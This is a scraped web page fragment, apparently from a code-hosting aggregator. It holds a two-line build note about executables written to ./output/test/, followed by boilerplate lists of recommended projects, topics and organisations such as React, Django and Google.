But, all exec files are made at ./output/test/

You may need to change Build && Test in README.md

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.